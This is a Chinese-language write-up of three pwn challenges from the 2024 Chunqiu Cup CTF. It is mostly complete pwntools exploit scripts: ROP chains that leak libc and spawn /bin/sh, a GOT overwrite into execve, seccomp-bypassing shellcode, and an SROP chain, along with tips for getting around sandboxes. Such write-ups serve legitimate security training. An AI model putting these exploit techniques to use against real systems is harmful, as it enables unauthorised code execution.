2024春秋杯夏季赛-pwn
awdp没看,ctf只做出来两题,还有一题理论可行。
参考博客:
https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/
2024春秋杯WP - lmarch2 - 博客园 (cnblogs.com)
目录
- stdout
- Shuffled_Execution
- Save the preceniss
stdout
libc版本:Ubuntu GLIBC 2.31-0ubuntu9.9
主函数溢出0x10字节,能覆盖到ret_addr;程序中有vuln函数,溢出 0x200-0x20 字节
初始化函数中 setvbuf(stdout, 0LL, 0, 0LL)设置为了标准输出无缓冲,setvbuf(stdin, 0LL, 2, 0LL)还是正常输出
1 2 3 4 5
| int init() { setvbuf(stdout, 0LL, 0, 0LL); return setvbuf(stdin, 0LL, 2, 0LL); }
|
看了其他师傅的,整理出来三种解法:
解法一
每次十六分之一的概率,爆破stdout–>_IO_2_1_stderr_,然后就能正常打印,再打ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * from tw11ty import *
if __name__ == '__main__' : context.log_level = 'info' IPort = '8.147.134.120 13093' pwnfile = './pwn' libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name)
while True: try: io = init(pwnfile, IPort, libc_name)
vuln = 0x0040125D prdi = 0x00000000004013d3 prsi_r15 = 0x00000000004013d1
s( b'\x00'*0x58 + p64(vuln)) payload = p64(prdi) + p64(0) + p64(prsi_r15) + p64(0x00404070) + p64(0) + p64(elf.sym['read']) payload += p64(prdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(vuln) payload = b'a'*0x28 + payload sl(payload)
s(p16(0x95c0))
puts_addr = uu64(io.recv(6, timeout=0.5)) if puts_addr: log.success("===The attack was successful===") libc_base = puts_addr - libc.sym['puts'] system = libc_base + libc.sym['system'] bin_bash = libc_base + next(libc.search(b'/bin/sh')) leak("libc_base", libc_base) leak("puts_addr", puts_addr) payload = cyclic(0x28) + p64(prdi) + p64(bin_bash) + p64(system) sl(payload) itr() else: continue except EOFError: io.close() log.failure("...The attack failed...") continue
|
解法二
下面这位师傅的解法:https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/
2024全国大学生信息安全竞赛(ciscn)半决赛(东北赛区)Pwn题解_2024ciscn华东北赛区wp-CSDN博客
setvbuf
- 全缓冲:0,缓冲区满 或 调用fflush() 后输出缓冲区内容。
- 行缓冲:1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容。
- 无缓冲:2,直接输出。
全缓冲应对方法:
- 调用setvbuf设置为无缓冲的stdout
- 调用fflush函数刷新缓冲区
- 填满缓冲区,程序会将所有的缓冲区内容全部输出
这位师傅就是利用程序中的extend()函数来填满缓冲区来拿libc


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * from tw11ty import *
if __name__ == '__main__' : context.log_level = 'info' IPort = '8.147.134.120 13093' pwnfile = './pwn' libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name)
io = init(pwnfile, IPort, libc_name)
vuln = 0x0040125D prdi = 0x00000000004013d3 ret = prdi + 1 prsi_r15 = 0x00000000004013d1
payload = cyclic(0x58) + p64(elf.sym['vuln']) s(payload)
for i in range(150): payload = cyclic(0x28) + p64(elf.sym['extend']) + p64(prdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['vuln']) sl(payload) success(i) try: res = io.recvuntil(b'hello!\n', timeout=0.1) if res: libc_base = uu64(r64()) - libc.sym['puts'] break except EOFError: continue except Exception as e: log.error(f"...error occurred: {e}") continue finally: pass leak("libc_base", libc_base)
system = libc_base + libc.sym['system'] bin_bash = libc_base + next(libc.search(b'/bin/sh')) payload = b'a' * 0x28 + p64(prdi) + p64(bin_bash) + p64(system) sl(payload) leak("system", system)
itr()
|
解法三
参考这位师傅的博客:2024春秋杯WP - lmarch2 - 博客园 (cnblogs.com)
在setvbuf附近找到syscall,read调rax,然后利用csu调寄存器、调到syscall执行execve(‘/bin/sh\x00’)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import * from tw11ty import *
def csu(rdi, rsi, rdx, func_addr): payload = p64(csu1) + p64(0) + p64(1) + p64(rdi) + p64(rsi) + p64(rdx) + p64(func_addr) + p64(csu2) return payload
if __name__ == '__main__' : context.log_level = 'info' IPort = '8.147.134.120 13093' pwnfile = './pwn' libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name)
io = init(pwnfile, IPort, libc_name)
extend = 0x401287 vuln = 0x40125D main = 0x401333 flag = 0x404070 + 0x100 read_plt = elf.sym['read'] setvbuf_got = elf.got['setvbuf'] prsi_r15 = 0x00000000004013d1 prdi = 0x00000000004013d3 csu1 = 0x4013CA csu2 = 0x4013B0
s( b'\x00'*0x58 + p64(vuln))
payload = cyclic(0x28) + p64(prdi) + p64(0) + p64(prsi_r15) + p64(flag) + p64(0) + p64(read_plt) + p64(vuln) sl(payload) sleep(0.5) sl(b'/bin/sh\x00')
payload = cyclic(0x28) + p64(prdi) + p64(0) + p64(prsi_r15) + p64(setvbuf_got) + p64(0) + p64(read_plt) payload += p64(prsi_r15) + p64(flag+0x100)+p64(0)+p64(read_plt) payload += csu(flag, 0, 0, setvbuf_got)
s(payload) s(p8(0x34)) s(b'a'*0x3b)
itr()
|
如果是改别的函数的话会有些麻烦,例如puts,低一字节变化范围内,libc里是没有syscall指令的,需要爆破低二字节高位,也就是十六分之一的概率
如果是rand或者srand,因为存在延迟绑定,got表还没有跟libc中的函数地址相关联,需要调用一次,那么需要在改got前执行一次extend()函数才能改它们的got表地址
总的说这位师傅的wp已经是极简的了。
Shuffled_Execution
libc:2.35-0ubuntu3.8_amd64
先用\x00开头的shellcode绕过shuffle()的加密
shellcode绕沙盒的题目,没什么太多好讲的,主要是对orw的替换

一些orw惯用方法:
1.函数替换: cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep xxx
open openat openat2 ……
read readv preadv pread64 mmap preadv2 ……
write writev pwritev ……
2.利用4字节系统调用号绕过
使用seccomp-tools,如果没有判断sys_number >= 0x40000000(不存在A != ARCH_X86_64),可以使用0x40000000|sys_number 来绕过
3.侧信道爆破
write相关函数无法使用,需要利用侧信道来爆破flag
也会使用mprotect来辅助orw的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * from tw11ty import *
if __name__ == '__main__' : IPort = '8.147.135.233 41323' pwnfile = './Shuffled_Execution' libc_name = '/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name)
io = init(pwnfile, IPort, libc_name) shellcode = asm(""" add al, al mov rsp, rax add rsp, 0x500 mov r12, 0x67616c66 push r12 mov rsi, rsp mov rdi, -100 mov rdx, 0 mov rax, 257 syscall
mov rdi, 0x10000 mov rsi, 0x100 mov rdx, 1 mov rcx, 2 mov r8, rax mov r10, 2 mov rax, 9 syscall
mov rdi, 0x1 mov rdx, 0x1 push 0x100 push rax mov rsi, rsp mov rax,0x14 syscall """) s(shellcode) itr()
|
Save the preceniss
不可能的爆破
这题没出,路走歪了。一直在尝试爆srand(0),本地debug可以出,理论可行。。。
记混了,四字节爆破16^8,概率太低了
本地调通

openat+SROP调用mmap + write,因为爆不出来所以就不多写了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| from pwn import * from tw11ty import * from ctypes import *
if __name__ == '__main__' : context.log_level = 'info' IPort = '8.147.128.54 44681' pwnfile = './SavethePrincess' libc_name = '/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name) cdll = cdll.LoadLibrary(libc_name)
while True: try: io = init(pwnfile, IPort, libc_name) passwd = b'nwlrbbmq\x00' sla(b'> \n', str(1)) sla(b'please input your password: \n', b'AAA') ru(b'AAA') base = u64(r(6)[-6:].ljust(8,b'\x00')) + 0x356 bss = base + 0x4080
sla(b'> \n', str(1)) sla(b'please input your password: \n', passwd) io.recvline() info = io.recvline(timeout=0.2) print("info = ", info) if not info.startswith(b",nononno"): sl(b'%9$p-%10$p-%35$p') io.recvuntil(b'0x') canary = int(io.recv(16), 16) ru(b'0x') stack = int(io.recv(12), 16) ru(b'0x') libc_base = int(r(12), 16) - 0x29e40 leak("canary", canary) leak("libc_base", libc_base) leak("stack", stack)
prax = libc_base + 0x0000000000045eb0 prdi = libc_base + 0x000000000002a3e5 prcx = libc_base + 0x000000000003d1ee prsi = libc_base + 0x000000000002be51 pr8 = libc_base + 0x00000000001659e6 pr10 = libc_base + 0x0000000000053b00 prdx__r12 = libc_base + 0x000000000011f2e7 syscall = libc_base + 0x0000000000091316 pat = libc_base + 0x0000000000114534 pr12 = libc_base + 0x0000000000035731 push_r12_eax1 = libc_base + 0x0000000000165a06
flag_addr = stack - 0x60
sla(b'> \n', str(2))
openat = p64(prdi) + p64(0xffffffffffffff9c) + p64(prsi) + p64(flag_addr) + p64(prdx__r12) + p64(0)*2 + p64(prax) + p64(257) + p64(syscall) write = p64(prdi) + p64(1) + p64(prsi) + p64(libc_base + 0x262000) + p64(prdx__r12) + p64(0x20)*2 + p64(prax) + p64(1) + p64(syscall)
frame_mmap = SigreturnFrame() frame_mmap.rdi = flag_addr + 8 frame_mmap.rsi = 0x20 frame_mmap.rdx = 1 frame_mmap.r8 = 3 frame_mmap.r9 = 0 frame_mmap.r10 = 2 frame_mmap.rax = 9 frame_mmap.rip = syscall frame_mmap.rsp = flag_addr + 0x60 + len(openat) + len(frame_mmap)
payload = b'flag\x00\x00\x00\x00' + b'a'*0x30 + p64(canary) + b'a'*8 + openat payload += p64(prax) + p64(0xf) + p64(syscall) + flat(frame_mmap) payload += write
sla(b'Attack the dragon!!\n', payload)
ru(b'Did you succeed?\n') info = io.recv(timeout=0.1) io.close() if not info.startswith(b'flag'): continue else: log.success("u win!!!") print("flag is ", info) break else: continue except EOFError: continue finally: pass
|
ps:syscall ret指令的寻找:ROPgadget –multibr –binary=/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6 | grep “syscall”
python低版本中的ctypes库在加载高版本的libc.so文件时会加载失败,需要使用高版本python(python3.8加载libc2.35失败)
正确解法
lmarch2师傅有写
自己太粗心了,没观察到栈信息,直接想着用/dev/urandom的绕过了。通过爆破love字符串,输入buf长度为0xa带出循环次数i,通过判断i位置来判断passwd字段是否正确

exp就不贴了。
暑假的第一场比赛,算是尽心尽力了。